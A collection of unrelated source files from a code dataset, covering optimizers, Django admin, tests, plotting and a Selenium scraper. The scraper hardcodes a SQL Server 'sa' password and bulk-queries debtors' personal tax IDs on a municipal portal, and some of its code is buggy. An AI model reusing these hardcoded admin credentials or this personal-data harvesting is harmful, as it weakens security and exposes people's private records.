http://ruder.io/optimizing-gradient-descent/index.html#nadam\n # https://towardsdatascience.com/adam-latest-trends-in-deep-learning-optimization-6be9a291375c\n def run(self, x_init, y_init, n_iter, lr, beta_1 = .9, beta_2 = .99, tol= 1e-5, epsilon = 1e-8):\n\n x, y = x_init,y_init\n z = self.fn(x, y)\n\n x_path = []\n y_path = []\n z_path = []\n\n x_path.append(x)\n y_path.append(y)\n z_path.append(z)\n\n dx, dy = self.fn_grad(self.fn, x, y)\n m_x = 0\n v_x = 0\n m_y = 0\n v_y = 0\n\n lr_t = lr * (np.sqrt(1 - beta_2))/(1 - beta_1)\n\n for i in range(n_iter):\n if np.abs(dx) < tol or np.isnan(dx) or np.abs(dy) < tol or np.isnan(dy):\n break\n dx, dy = self.fn_grad(self.fn, x, y)\n\n m_x = beta_1 * m_x + (1 - beta_1) * dx\n v_x = beta_2 * v_x + (1 - beta_2) * np.power(dx, 2)\n m_x_hat = m_x / (1 - np.power(beta_1, max(i, 1))) + (1 - beta_1) * dx / (1 - np.power(beta_1, max(i ,1)))\n v_x_hat = v_x / (1 - np.power(beta_2, max(i, 1)))\n\n m_y = beta_1 * m_y + (1 - beta_1) * dy\n v_y = beta_2 * v_y + (1 - beta_2) * np.power(dy, 2)\n m_y_hat = m_y / (1 - np.power(beta_1, max(i, 1))) + (1 - beta_1) * dy / (1 - np.power(beta_1, max(i ,1)))\n v_y_hat = v_y / (1 - np.power(beta_2, max(i, 1)))\n \n\n x += - (lr_t * m_x_hat) / (np.sqrt(v_x_hat) + epsilon)\n y += - (lr_t * m_y_hat) / (np.sqrt(v_y_hat) + epsilon)\n x_path.append(x)\n y_path.append(y)\n z = self.fn(x, y)\n z_path.append(z)\n\n if np.isnan(dx) or np.isnan(dy):\n print('\\033[1m Nadam \\033[0m \\nExploded')\n elif np.abs(dx) < tol and np.abs(dy) < tol:\n print('\\033[1m Nadam \\033[0m \\nDid not converge')\n else:\n print('\\033[1m Nadam \\033[0m \\nConverged in {} steps. \\nLoss fn {:0.4f} \\nAchieved at coordinates x,y = ({:0.4f}, {:0.4f})'.format(i, z, x, y))\n\n self.z_path_nadam = z_path\n self.z_nadam = z\n return x_path,y_path,z_path\n","sub_path":"unconstrained_optimization/nadam.py","file_name":"nadam.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"636729678","text":"\"\"\"Repeating a beat in a loop.\"\"\"\n\n__author__ = \"730524618\"\n\n\n# Begin your solution here...\nrepeat: str = input(\"What beat do you want to repeat? \")\nrepeatnum: int = int(input(\"How many times do you want to repeat it? \"))\ncounter: int = 0\n\nif repeatnum > 0:\n while counter < repeatnum:\n output: str = (repeat + \" \") * repeatnum\n counter = counter + 1\n output: len(output) - len(\" \")\n print(str(output) + \"h\")\nelse:\n print(\"No beat...\")","sub_path":"exercises/ex02/repeat_beat.py","file_name":"repeat_beat.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"292185200","text":"########################################################################\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import ElementNotVisibleException\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nimport pyodbc\r\nimport sys\r\nimport time\r\n#######################################################################\r\npath = r\"C:\\Users\\kevin.braga\\Favorites\\Downloads\\betha\\chromedriver.exe\"\r\ndriver = webdriver.Chrome(path); \r\nbanco = pyodbc.connect('DRIVER={SQL Server};SERVER=JIVE-ALTERDATA1\\SQL_JIVE;DATABASE=dbTestes;UID=sa;PWD=Jive@123')\r\ncursor = banco.cursor()\r\n\r\n#######################################################################\r\n\r\nuf = input(str(\"Digite a UF\"))\r\ncidade = input(str(\"Digite o município\"))\r\n\r\ndef log():\r\n login = False\r\n while not login:\r\n try:\r\n driver.get(\"https://e-gov.betha.com.br/cidadaoweb3/main.faces\")\r\n driver.maximize_window()\r\n driver.current_window_handle\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:estados\"]\"\"\").click()\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:estados\"]/option[14]\"\"\").click()\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:municipios\"]/option[71]\"\"\").click()\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:selecionar\"]\"\"\").click()\r\n login = True\r\n print(\"ACESSADO\")\r\n except (NoSuchElementException):\r\n print(\"\\nTENTANDO ACESSAR...\")\r\n\r\ndef run():\r\n for line in cursor.execute(\"declare @cidade as varchar(50) = 'CRICIUMA' select nome_PESSOA, tipo_Pessoa,Documento_PESSOA from db_jive_2017.dbo.DEVEDORES_JIVE where not EXISTS (select Documento_PESSOA from IMOVEIS WHERE DEVEDORES_JIVE.DOCUMENTO_PESSOA = IMOVEIS.DOCUMENTO_PESSOA AND CIDADE = @cidade )\"):\r\n driver.get(\"https://e-gov.betha.com.br/cidadaoweb3/03015-013/rel_guiaiptu.faces\")\r\n if (line[1] == \"JURIDICA\"):\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"modoAcesso\"]/div/div[2]/div/div/div/a\"\"\").click() \r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:cnpj\"]\"\"\").send_keys(line[2])\r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:btCnpj\"]\"\"\").click()\r\n try:\r\n wait = WebDriverWait(driver, 5)\r\n wait.until(EC.presence_of_element_located((By.ID, 'mainForm:g-pendencias')))\r\n caminho = driver.find_elements_by_xpath(\"\"\"//label[contains(.,'Imóvel')]\"\"\")\r\n cod_imovel = None\r\n for linha in caminho:\r\n if cod_imovel:\r\n cod_imovel += linha.text + '\\n'\r\n else:\r\n cod_imovel = linha.text + '\\n'\r\n saveTrue(uf, cidade , line[1], line[2], cod_imovel)\r\n except (TimeoutException):\r\n saveFalse(line[2], dados)\r\n \r\n elif (line[1] == \"FISICA\"): \r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"modoAcesso\"]/div/div[1]/div/div/div/a\"\"\").click() \r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:cpf\"]\"\"\").send_keys(line[2][3:]) \r\n driver.find_element_by_xpath(\"\"\"//*[@id=\"mainForm:btCpf\"]\"\"\").click()\r\n try:\r\n wait = WebDriverWait(driver, 5)\r\n wait.until(EC.presence_of_element_located((By.ID, 'mainForm:g-pendencias')))\r\n caminho = driver.find_elements_by_xpath(\"\"\"//label[contains(.,'Imóvel')]\"\"\")\r\n cod_imovel = None\r\n for linha in caminho:\r\n if cod_imovel:\r\n cod_imovel += linha.text + '\\n'\r\n else:\r\n cod_imovel = linha.text + '\\n'\r\n saveTrue(uf, cidade , line[1], line[2], cod_imovel)\r\n except (TimeoutException):\r\n saveFalse(line[2], cod_imovel)\r\n cursor.close()\r\n banco.close()\r\n\r\ndef saveTrue(uf, cidade, tipo, doc, cod_imovel):\r\n banco = pyodbc.connect('DRIVER={SQL Server};SERVER=JIVE-ALTERDATA1\\SQL_JIVE;DATABASE=dbTestes;UID=sa;PWD=Jive@123')\r\n cursor = banco.cursor()\r\n cursor.execute(\"insert into dbTestes.dbo.IMOVEIS(UF,CIDADE,tipo_Pessoa,Documento_PESSOA,COD_IMOVEL,INSCR_IMOBILIARIA,LOGRADOURO,NUMERO,BAIRRO,Data_Inclusao,Critica,FL_DEVEDOR_JIVE,FL_FASE_PRECIFICACAO) values((?),(?),(?), (?),(?),NULL ,NULL ,NULL ,NULL ,getdate(), 'Dados Capturados com Sucesso' ,'S','N')\", uf, cidade , tipo, doc , cod_imovel)\r\n banco.commit()\r\n\r\ndef saveFalse(uf, cidade, tipo, doc , cod_imovel , critica , fl_dev_jiv, fl_fase_prec):\r\n banco = pyodbc.connect('DRIVER={SQL Server};SERVER=JIVE-ALTERDATA1\\SQL_JIVE;DATABASE=dbTestes;UID=sa;PWD=Jive@123')\r\n cursor = banco.cursor()\r\n cursor.execute(\"insert into dbTestes.dbo.IMOVEIS(UF,CIDADE,tipo_Pessoa,Documento_PESSOA,COD_IMOVEL,INSCR_IMOBILIARIA,LOGRADOURO,NUMERO,BAIRRO,Data_Inclusao,Critica,FL_DEVEDOR_JIVE,FL_FASE_PRECIFICACAO) values((?),(?),(?), (?),(?),NULL ,NULL ,NULL ,NULL ,getdate(), 'Registro não encontrado' ,'S','N')\", uf, cidade , tipo, doc , cod_imovel)\r\n banco.commit()\r\n\r\ndef menu_cidade():\r\n run_menu_cidade = True\r\n \r\n menu = (\"\\n----------------\\n\"+\r\n \"(1) \\n\" +\r\n \"(2) \\n\" +\r\n \"(3) \\n\" +\r\n \"(4) \\n\" +\r\n \"(5) \\n\" +\r\n \"(6) \\n\" +\r\n \"(7) \\n\" +\r\n \"(8) MG - Minas Gerais \\n\" +\r\n \"(9) PB - Paraíba \\n\" +\r\n \"(10) PR - Paraná \\n\" +\r\n \"(11) RJ - Rio de Janeiro \\n\" +\r\n \"(12) RS - Rio Grande do Sul \\n\" +\r\n \"(13) SC - Santa Catarina \\n\" +\r\n \"(14) SP - São Paulo \\n\" +\r\n \"(15) TO - Tocantins \\n\" +\r\n \"(0) Sair \\n\"+ \r\n \"----------------\")\r\n \r\n while(run_menu_cidade):\r\n print (menu)\r\n op = int(input(\"Digite sua escolha: \"))\r\n if (op == 1):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[2]\"\"\"\r\n return (r)\r\n elif(op == 2):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[3]\"\"\"\r\n return (r)\r\n elif(op == 3):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[4]\"\"\"\r\n return (r)\r\n elif(op == 4):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[5]\"\"\" \r\n return (r) \r\n elif(op == 5):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[6]\"\"\" \r\n return (r)\r\n elif(op == 6):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[7] \"\"\" \r\n return (r)\r\n elif(op == 7):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[8]\"\"\" \r\n return (r)\r\n elif(op == 8):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[9]\"\"\" \r\n return (r)\r\n elif(op == 9):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[10]\"\"\" \r\n return (r)\r\n elif(op == 10):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[11]\"\"\" \r\n return (r)\r\n elif(op == 11):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[12]\"\"\" \r\n return (r)\r\n elif(op == 12):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[13]\"\"\"\r\n return (r) \r\n elif(op == 13):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[14]\"\"\"\r\n return (r)\r\n elif(op == 14):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[15]\"\"\"\r\n return (r)\r\n elif(op == 15):\r\n r =\"\"\"//*[@id=\"mainForm:estados\"]/option[16]\"\"\"\r\n return (r) \r\n elif (op == 0):\r\n run_menu_cidade = False\r\n sys.exit()\r\n else:\r\n print (\"Valor invalido\")\r\n\r\ndef menu_end():\r\n run_menu = True\r\n menu = (\"\\n----------------\\n\"+\r\n \"Pesquisa concluida \\n\"+\r\n \"Deseja ver os resultados? \\n\"+\r\n \"----------------\")\r\n while(run_menu):\r\n print (menu)\r\n op = input(str(\"S ou N : \"))\r\n if (op == \"n\"):\r\n run_menu = False\r\n sys.exit()\r\n \r\n elif (op == \"s\"): \r\n i = 0\r\n c = 0\r\n banco = pyodbc.connect('DRIVER={SQL Server};SERVER=JIVE-ALTERDATA1\\SQL_JIVE;DATABASE=dbTestes;UID=sa;PWD=Jive@123')\r\n cursor = banco.cursor()\r\n for line in cursor.execute(\"SELECT DOCUMENTO, RESULTADO FROM dbTestes.dbo.TESTE_PYTHON\"):\r\n if line[1] == \"NADA CONSTA\":\r\n i += 1\r\n else:\r\n c += 1\r\n cursor.close()\r\n banco.close() \r\n print (\"\\nQuantidade de imóveis localizados\" , c)\r\n print (\"Quantidade de imóveis não localizados\\n\" , i)\r\n run_menu = False\r\n else:\r\n print(\"Digite S ou N\")\r\n \r\ndef menu():\r\n run_menu = True\r\n menu = (\"\\n---------------------\\n\"+\r\n \"SISTEMA CONSULTA BETHA \"+\r\n \"\\n---------------------\\n\"+\r\n \"(1) Unica instância \\n\"+\r\n #\"(2) Multiplas instâncias \\n\"+\r\n \"(0) Sair \\n\"+\r\n \"-------------------\")\r\n while(run_menu):\r\n print (menu)\r\n op = input (\"Escolha uma opção : \")\r\n if (op == \"1\"):\r\n run_menu = False\r\n log()\r\n run()\r\n elif (op == \"2\"):\r\n print (\"Em manutenção\")\r\n elif (op == \"0\"):\r\n run_menu = False\r\n sys.exit()\r\n else:\r\n print(\"Opção invalida\")\r\n####################################################################### \r\nmenu()\r\nmenu_end()\r\nsys.exit()\r\n \r\n\r\n","sub_path":"GuiaIptu/BETHA (Guias).py","file_name":"BETHA (Guias).py","file_ext":"py","file_size_in_byte":10364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"319172530","text":"from django.contrib import admin\r\nfrom .models import *\r\n\r\n\r\nclass DetalleComandaInline(admin.TabularInline):\r\n\tmodel = DetalleComanda\r\n\textra = 0 \r\n#\tautocomplete_fields = ['platillo']\r\n\r\nclass ComandaAdmin(admin.ModelAdmin):\r\n\tinlines =[DetalleComandaInline]\r\n\tsearch_fields = ['fecha__fecha_comanda']\r\n\tlist_filter = ['fecha_comanda','empleado']\r\n\tlist_display = ['cliente','empleado','fecha_comanda','total']\r\n\t#readonly_field = ['total']\r\n\r\nadmin.site.register(Comanda, ComandaAdmin)\r\n","sub_path":"comanda/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"590615412","text":"import re\n\npaternuri = 'aici'\ntext = 'aici invatam Python regular expresion, pe care le putem folosi acolo in exercitii, aici putem invata'\n\npotrivire = re.search(paternuri, text)\n\nstart = potrivire.start() # pozitia de pe care incepe sirul\nend = potrivire.end() # pozitia la care se termina sirul +1\n\nprint(start)\nprint(end)","sub_path":"modulul_re2.py","file_name":"modulul_re2.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356211209","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nfrom scipy.optimize import fsolve\n\n# Calculate p(y|x) considered causal direction\nsamples = 10000\nx = np.array([-1.1,0.3,1.1])\np_y_given_x = np.zeros((samples, len(x)))\n\n# Test data: y = x³ + x + epsilon\nfor i, xi in enumerate(x):\n p_y_given_x[:,i] = pow(xi,3) + xi + np.random.normal(0,1,samples)\n\n# https://seaborn.pydata.org/tutorial/distributions.html\nsns.kdeplot(p_y_given_x[:,0], shade=True)\nsns.kdeplot(p_y_given_x[:,1], shade=True)\nsns.kdeplot(p_y_given_x[:,2], shade=True)\n\n# Calculate p(x|y) considered anticausal direction\ny = np.array([-1.1,0.3,1.1])\np_x_given_y = np.zeros((samples,len(y)))\nx_guess = 1\nepsilon = np.random.normal(0,1,samples)\n\n# We are using a numerical approximation\nfor i, yi in enumerate(y):\n for j,epsj in enumerate(epsilon):\n func = lambda x : yi - x**3 - x - epsj\n x_guess = 1 if(j==0) else p_x_given_y[j-1,i]\n p_x_given_y[j,i] = fsolve(func, p_x_given_y[j,i])\n\n# The representation is more complex (higher structural variability)\nnp.mean(p_x_given_y[:,1])\np_x_given_y[:,1].shape\nsns.kdeplot(p_x_given_y[:,0], shade=True)\nsns.kdeplot(p_x_given_y[:,1], shade=True)\nsns.kdeplot(p_x_given_y[:,2], shade=True)\n","sub_path":"examples/ex_anticausal_direction.py","file_name":"ex_anticausal_direction.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"79522601","text":"import os\nfrom multiprocessing import Pool, Manager\nimport psutil\nimport codecs\nimport time\n\n\ndef read_lines(filename):\n with open(filename) as f:\n content = f.readlines()\n return [element.strip() for element in content]\n\n\ndef read_terms(filename):\n content = read_lines(filename)\n content.sort()\n content.sort(key=len, reverse=True)\n return content\n\n\ndef save_to_file(filename, list_to_save):\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n with codecs.open(filename, 'w', 'utf-8') as f:\n f.write('\\n'.join(list_to_save))\n\n\ndef worker(args):\n proc_stime = time.time()\n proc_idx, haystack, needles = args\n for needle in needles:\n haystack = haystack.replace(needle, '#' * len(needle))\n\n print(proc_idx, os.getpid(), (time.time() - proc_stime), 'sec')\n\n return proc_idx, haystack\n\n\nif __name__ == '__main__':\n\n stime = time.time()\n path = f'{os.path.dirname(os.path.abspath(__file__))}'\n terms = read_terms(f'{path}/mproc-term.txt')\n lines = read_lines(f'{path}/mproc-data.txt')\n\n cpu_cores = psutil.cpu_count()\n\n print(cpu_cores, len(lines))\n\n p = Pool(cpu_cores * 8)\n results = []\n print((time.time() - stime), 'sec')\n for idx, line in enumerate(lines):\n results = p.map(worker, [(idx, line, terms)])\n print((time.time() - stime), 'sec')\n for idx, row in results:\n lines[idx] = row\n save_to_file(f'{path}/mproc-result.txt', lines)\n print((time.time() - stime), 'sec')\n","sub_path":"src/mproc.py","file_name":"mproc.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487017953","text":"#coding:utf-8\nfrom django.contrib import admin\nfrom RMSystem.models import *\nfrom Management.models import *\nfrom import_export.admin import ImportExportMixin\nfrom import_export import resources\n\nclass NodeAdmin(admin.ModelAdmin):\n list_display = ('name','node_lock')\n search_fields = ('name','node_lock')#查询条件{锁定,节点}\n ordering = ('id',)#排序\n\n#导入######################################################################################\nclass EquipmentResource(resources.ModelResource):\n class Meta:\n model = Equipment\n fields = ('id','serial_num','manufacturers','model','type','node','host_id','installer',\\\n\t\t 'cabinets','ip','state','leader_tel','address','remarks',\\\n\t\t 'contracts_num','department','purchasing_date','delivery_date','install_date',\\\n\t\t 'cabinets_hole','bezel','management_ip','management_port','switches_ip','mac_address')\n\n headers = [u'ID',u'序列号',u'厂家',u'型号',u'类型',u'节点',u'主机编号',u'安装人',u'机柜',\\\n\t\t u'IP',u'设备状态',u'项目负责及人电话',u'机房地址',u'备注',\\\n\t\t u'合同编号',u'部门',u'采购日期',u'发货日期',u'安装日期',u'机柜孔位',u'挡板',\\\n\t\t u'管理IP',u'管理端口',u'交换机IP',u'MAC地址']\n#��出######################################################################################\n def get_export_headers(self):\n headers = ['ID','序列号','厂家','型号','类型','节点','主机编号','安装人','机柜','IP',\\\n '设备状态','项目负责及人电话','机房地址','备注',\\\n '合同编号','部门','采购日期','发货日期','安装日期','机柜孔位','挡板','管理IP',\\\n\t\t '管理端口','交换机IP','MAC地址']\n return headers \n#筛选######################################################################################\nclass EquipmentAdmin(ImportExportMixin,admin.ModelAdmin):\n list_display = ('id','serial_num','manufacturers','model','type','node','host_id','installer',\\\n\t\t 'cabinets','ip','state','remarks')\n search_fields = ('serial_num','manufacturers__name','model__name','type__name','node__name',\\\n\t\t 'host_id','installer','cabinets','ip','state')#查询条件{厂家,型号,设备类型,节点主机编号,资产编号,安装人,机柜,IP地址,设备状态}\n ordering = ('id',)#排序\n#返回######################################################################################\n def get_resource_class(self):\n if not self.resource_class:\n return EquipmentResource\n else:\n return self.resource_class\n###########################################################################################\n def formfield_for_foreignkey(self, db_field, request, **kwargs):\n if db_field.name == \"manufacturers\":\n kwargs['queryset'] = Parameters.objects.filter(type_id='1')\n\n if db_field.name == \"model\":\n kwargs['queryset'] = Parameters.objects.filter(type_id='2')\n\n if db_field.name == \"type\":\n kwargs['queryset'] = Parameters.objects.filter(type_id='3')\n\n if db_field.name == \"node\":\n kwargs['queryset'] = Node.objects.filter()\n\n return super(EquipmentAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)\n\nadmin.site.register(Node,NodeAdmin)\nadmin.site.register(Equipment,EquipmentAdmin)\n","sub_path":"Management/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371421621","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2015-2016 Red Hat, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport datetime\nfrom mock import patch\n\n\ndef test_schedule_jobs(remoteci_context, topic):\n headers = {\n \"User-Agent\": \"python-dciclient\",\n \"Client-Version\": \"python-dciclient_0.1.0\",\n }\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", headers=headers, data=data)\n assert r.status_code == 201\n job = r.data[\"job\"]\n assert job[\"topic_id\"] == topic[\"id\"]\n assert job[\"user_agent\"] == headers[\"User-Agent\"]\n assert job[\"client_version\"] == headers[\"Client-Version\"]\n\n\ndef test_schedule_jobs_with_components_ids(user, remoteci_context, topic):\n components = user.get(\"/api/v1/topics/%s/components\" % topic[\"id\"]).data[\n \"components\"\n ]\n data = {\"topic_id\": topic[\"id\"], \"components_ids\": [components[0][\"id\"]]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n\ndef test_schedule_jobs_with_previous_job_id(remoteci_context, topic):\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data={\"topic_id\": topic[\"id\"]})\n assert r.status_code == 201\n job1 = r.data[\"job\"]\n assert job1[\"topic_id\"] == topic[\"id\"]\n r = remoteci_context.post(\n \"/api/v1/jobs/schedule\",\n data={\"topic_id\": topic[\"id\"], \"previous_job_id\": job1[\"id\"]},\n )\n assert r.status_code == 201\n job2 = r.data[\"job\"]\n assert job2[\"topic_id\"] == topic[\"id\"]\n assert job2[\"previous_job_id\"] == job1[\"id\"]\n\n\ndef _update_remoteci(admin, id, etag, data):\n url = \"/api/v1/remotecis/%s\" % id\n r = admin.put(url, headers={\"If-match\": etag}, data=data)\n assert r.status_code == 200\n return admin.get(url).data[\"remoteci\"]\n\n\ndef test_schedule_jobs_on_remoteci_inactive(admin, remoteci_context, topic):\n remoteci = remoteci_context.get(\"/api/v1/identity\").data[\"identity\"]\n remoteci[\"etag\"] = admin.get(\"/api/v1/remotecis/%s\" % remoteci[\"id\"]).data[\n \"remoteci\"\n ][\"etag\"]\n\n remoteci = _update_remoteci(\n admin, remoteci[\"id\"], remoteci[\"etag\"], {\"state\": \"inactive\"}\n )\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code != 201\n\n remoteci = _update_remoteci(\n admin, remoteci[\"id\"], remoteci[\"etag\"], {\"state\": \"active\"}\n )\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n\ndef test_schedule_jobs_on_remoteci_team_inactive(\n admin, remoteci_context, topic, team_user_id\n):\n team_etag = admin.get(\"/api/v1/teams/%s\" % team_user_id).data[\"team\"][\"etag\"]\n r = admin.put(\n \"/api/v1/teams/%s\" % team_user_id,\n headers={\"If-match\": team_etag},\n data={\"state\": \"inactive\"},\n )\n assert r.status_code == 200\n\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 412\n\n team_etag = admin.get(\"/api/v1/teams/%s\" % team_user_id).data[\"team\"][\"etag\"]\n r = admin.put(\n \"/api/v1/teams/%s\" % team_user_id,\n headers={\"If-match\": team_etag},\n data={\"state\": \"active\"},\n )\n assert r.status_code == 200\n\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n\ndef _update_topic(admin, topic, data):\n url = \"/api/v1/topics/%s\" % topic[\"id\"]\n r = admin.put(url, headers={\"If-match\": topic[\"etag\"]}, data=data)\n assert r.status_code == 200\n return admin.get(url).data[\"topic\"]\n\n\ndef test_schedule_jobs_on_topic_inactive(admin, remoteci_context, topic, team_user_id):\n admin.post(\"/api/v1/topics/%s/teams\" % topic[\"id\"], data={\"team_id\": team_user_id})\n topic = _update_topic(admin, topic, {\"state\": \"inactive\"})\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 412\n\n topic = _update_topic(admin, topic, {\"state\": \"active\"})\n data = {\"topic_id\": topic[\"id\"]}\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n\ndef test_schedule_jobs_kills_jobs_older_than_one_day(admin, remoteci_context, topic):\n data = {\"topic_id\": topic[\"id\"]}\n fixed_now = datetime.datetime(2019, 1, 12, 13, 42, 20, 111136)\n with patch(\"dci.api.v1.jobs.get_utc_now\", return_value=fixed_now):\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n\n r = remoteci_context.post(\"/api/v1/jobs/schedule\", data=data)\n assert r.status_code == 201\n jobs = admin.get(\"/api/v1/jobs?sort=-created_at\").data[\"jobs\"]\n assert jobs[-1][\"status\"] == \"killed\"\n assert jobs[-2][\"status\"] == \"new\"\n assert jobs[-3][\"status\"] == \"new\"\n","sub_path":"tests/api/v1/test_jobs_schedule.py","file_name":"test_jobs_schedule.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"294271130","text":"import numpy as np\nimport numpy.linalg as lin\nimport matplotlib.pyplot as plt\n\ndef load_avg_data () :\n with open('/home/mhkim/data/numpy/sampyo/sampyo_6_data_average', 'r') as fd :\n arr = np.load(fd)\n return arr\n\nSTEP = 30\nRANGE_NUM = 9000\ndef get_linvalue(data, size, focus=0):\n\n values = []\n xaxis = [x for x in range(STEP)]\n\n for index in range(size):\n begin = STEP * index\n end = begin + STEP\n\n value = data[begin:end]\n\n value = value[:, focus]\n\n A = np.vstack([xaxis, np.ones(STEP)]).T\n\n m, c = lin.lstsq(A, value)[0]\n\n _x = m * np.array(xaxis) + c\n\n # values.append(_x)\n values.append(c)\n\n return values\n\ndef draw_line (data , ax) :\n\n size = 300\n\n _xaxis = [x for x in range(size)]\n _yaxis = np.full_like(_xaxis, 0)\n\n # print (_xaxis, _yaxis)\n\n values1 = get_linvalue(data, size, 0)\n # values2 = get_linvalue(data, size, 1)\n values3 = get_linvalue(data, size, 3)\n\n # ax.errorbar(_xaxis, _yaxis, lolims=1, yerr=25., linestyle='dotted')\n\n lines1 = ax.plot(_xaxis, values1, 'r', color='red', label='average')\n\n # , xerr=xerr, yerr=yerr, lolims=lolims, linestyle=ls)\n\n # lines2 = ax.plot(_xaxis, values2, 'r', color='blue', label='max')\n\n # ax.errorbar(_xaxis, _yaxis, lolims=1, yerr=25., linestyle='dotted')\n\n lines3 = ax.plot(_xaxis, values3, 'r', color='green', label='moved average')\n\n ax.grid(True)\n\ndef main () :\n\n arr = load_avg_data()\n\n plot_count = 10\n # plot_count = 30\n\n fig = plt.figure(1)\n\n # arr = arr[90000:]\n\n major_ticks = np.arange(0, 300, 5)\n minor_ticks = np.arange(0, 300, 1)\n\n for i in range(plot_count) :\n begin = RANGE_NUM * i\n end = begin + RANGE_NUM\n\n data = arr[begin:end]\n\n ax = fig.add_subplot(plot_count, 1, i + 1)\n\n ax.set_xticks(major_ticks)\n ax.set_xticks(minor_ticks, minor=True)\n\n draw_line(data , ax)\n\n plt.legend()\n plt.show()\n\n # plt.plot(xaxis, data)\n # plt.grid(True)\n # plt.show()\n\nif __name__ == '__main__' :\n main()","sub_path":"alg/exam1.py","file_name":"exam1.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"475157893","text":"#!/usr/bin/env python\n\n#EJERCICIO PARA CALCULAR EL EXPONENCIAL\n\ndef iterPower (base, exp): #CALCULATING FUCTION\n\tmult = base \n\twhile exp > 1:\n\t\tbase = base * mult\n\t\texp = exp - 1\n\treturn base\n\nbase = int(input(\"Base: \")) #INSERT BASE \nexp = int(input(\"Exponente: \")) #INSERT EXPONENT\nprint (iterPower(base, exp)) #ROLE CALL AND PRINT\n\n","sub_path":"Python/EjerciciosPython2/Problema1.py","file_name":"Problema1.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"434854658","text":"\"\"\"Internal network manager for HassIO.\"\"\"\nimport logging\n\nimport docker\n\nfrom ..const import 